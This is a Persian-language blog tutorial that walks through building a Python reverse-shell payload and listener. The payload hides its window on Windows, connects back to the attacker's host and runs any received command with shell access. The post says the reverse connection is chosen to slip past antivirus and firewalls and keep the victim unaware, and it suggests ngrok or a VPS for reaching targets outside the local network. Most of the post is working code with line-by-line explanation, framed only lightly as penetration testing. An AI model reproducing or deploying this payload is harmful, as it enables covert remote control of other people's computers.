-
سه شنبه, ۱۴ ارديبهشت ۱۴۰۰، ۱۱:۱۰ ب.ظ
-
۱۲۱۹
سلام دوستان :)
توی این پست قراره نحوه ساخت یک پیلود reverse_tcp در پایتون رو با هم ببینیم.
پیلود ها ابزار هایی هستند که میتونن انواع دسترسی رو روی سیستم هدف برای ما فراهم کنن و همچنین در تست نفوذ می تونن بسیار مفید باشن.
اگر با ابزاری مثل متاسپلویت کار کرده باشید حتما میدونید که پیلود reverse_tcp چیه. در پیلود reverse_tcp بجای اینکه ما به سیستم هدفمون متصل بشیم اون رو به سیستم خودمون متصل می کنیم.
حالا شاید فکر کنید که چرا اینکار رو می کنیم ؟
دلیل این کار اینه که اگر ما مستقیما به سیستم هدف متصل بشیم خیلی از آنتی ویروس ها و فایروال ها متوجه اتصال ما میشن بنابراین ما سیستم هدف رو به سیستم خودمون متصل میکنیم که آنتی ویروس ها و فایروال ها جلوی کانکشن ما رو نگیرن.
توی این برنامه علاوه بر اینکه پیلودمون رو reverse_tcp می سازیم قراره کاری کنیم که برنامه مون هم مخفی بشه یعنی سیستم هدفمون متوجه نشه که اون برنامه در حال اجرا شدنه.
بریم سراغ برنامه
سورس payload :
# payload import socket import subprocess from win32con import SW_HIDE import win32gui def hidden(): pid = win32gui.GetForegroundWindow() win32gui.ShowWindow(pid , SW_HIDE) hidden() sock = socket.socket(socket.AF_INET , socket.SOCK_STREAM) sock.connect(("192.168.1.109" , 8080)) while True: command = sock.recv(1024) if command == b"exit": sock.close() break proc = subprocess.Popen(command.decode() , shell=True , stdout=subprocess.PIPE, stderr = subprocess.PIPE) result = proc.stdout.read() + proc.stderr.read() sock.send(result)
توضیح : در خط اول کتابخونه socket رو برای ساخت سوکت هامون و برقراری ارتباط بین سیستم هدف و خودمون import کردیم. توی خط بعدی کتابخونه subproccess رو برای اجرا کردن دستورات سیستمی و گرفتن خروجی اون دستورات import کردیم. دو تا کتابخونه های بعدی رو هم برای مخفی کردن برنامه مون import کردیم.
بعد از اون تابع hidden رو تعریف کردیم و بعد هم اون رو فراخوانی کردیم که برنامه مون مخفی بشه.
بعدش یک شی از سوکتمون ساختیم. socket.AF_INET یعنی کانکشن ما از نوع IPv4 خواهد بود و socket.SOCK_STREAM مشخص می کنه که کانکشن ما از نوع TCP هستش.
در خط بعدی با استفاده از شی سوکتی که ساخته بودیم سیستم هدف رو وصل می کنیم به خودمون. در ورودی اول IP شبکه خودمون و در ورودی دوم پورتی که قراره روش به ما وصل بشه رو مشخص کردیم.
بعدش یک حلقه بی نهایت ایجاد کردیم. توی خط اول این حلقه گفتیم که کامند رو از سیستم هکر دریافت کنه. اگر کامند مقدار دریافت شده برابر exit بود سوکت رو می بنده و از برنامه خارج میشه.
بعدش یک proccess روی سیستم هدف ایجاد می کنه و کامندی که ما بهش دادیم رو برامون اجرا میکنه. بعد خروجی کامند رو دریافت می کنه و برای ما می فرسته.
نتکه : ممکنه در هنگام اجرای پیلود این ارور رو بگیرین که ماژول های win32gui و win32con وجود ندارن. برای حل این مشکل میتونین یک cmd با دسترسی ادمین باز کنین و کد زیر رو بزنین:
python -m pip install pywin32
سورس listener :
import socket sock = socket.socket(socket.AF_INET , socket.SOCK_STREAM) sock.bind(('192.168.1.109',8080)) sock.listen(1) c, addr = sock.accept() c.settimeout(3) while True: command = input("target >> ") if command == "exit": c.send(b"exit") sock.close() break c.send(command.encode()) try: result = c.recv(1024) print(result.decode()) except: pass
توضیح : خب توی خط اول ماژول socket رو برای بر قراری ارتباط و ارسال دستور ها به قربانی import کردیم. در خط بعد، شی سوکتمون رو ساختیم. بعدش آی پی مون و پورت 8080 رو برای خودمون بایند کردیم.
بعدش با استفاده از متد listen منتظر یک کانکشن از سمت سیستم هدف موندیم. بعد یک حلقه بی نهایت ساختیم.
در خط اول حلقه مون کامند رو از هکر دریافت کردیم. یک if نوشتیم که اگر کامند وارد شده برابر exit بود کلمه exit رو به سمت سیستم هدف ارسال کنه که کانکشن رو ببنده و خودش هم کانکشن رو می بنده و از برنامه خارج میشه. خب حالا اگر کامند وارد شده برابر exit نبود اون کامند رو برای سیستم هدف ارسال میکنه.
بعد یک try و except نوشتیم برای اینکه اگر مشکلی پیش اومد برنامه مون هم دچار مشکل نشه. توی try نوشتیم که خروجی کامند رو از سیستم هدف دریافت کنه و چاپ کنه. توی except هم نوشتیم pass یعنی اگر مشکلی پیش اومد کاری نکنه و دوباره برگرده از اول حلقه.
خب فقط یک نکته بگم. اولا سورس پیلود فقط برای ویندوز کار می کنه و اگر می خواین روی پلتفرم های دیگه این اسکریپت رو استفاده کنید باید قسمت hidden رو از payload پاک کنید.
نکته بعدی اینکه این برنامه برای کامپیوتر های داخل شبکه کار می کنه و اگر که میخوایم برای کامپیوتر های خارج از شبکه این اسکریپت رو استفاده کنید میتونین از سرویس هایی مثل ngrok استفاده کنین.
مشکل ngrok اینه که اگر برنامه رو ببندین و دوباره اجراش کنین بهتون یک آی پی متقاوت میده و اگر حتی اون رو نبندین بعد از 7 یا 8 ساعت بهتون یک آی پی متفاوت میده.
پس میتونین از یک سرور مجازی لینوکسی یا ویندوزی که پایتون روی اون نصب باشه استفاده کنین. یا اینکه یک آی پی ثابت بگیرین و یا از سرویس هایی مثل no-ip و... استفاده کنید.
امیدوارم براتون مفید بوده باشه D: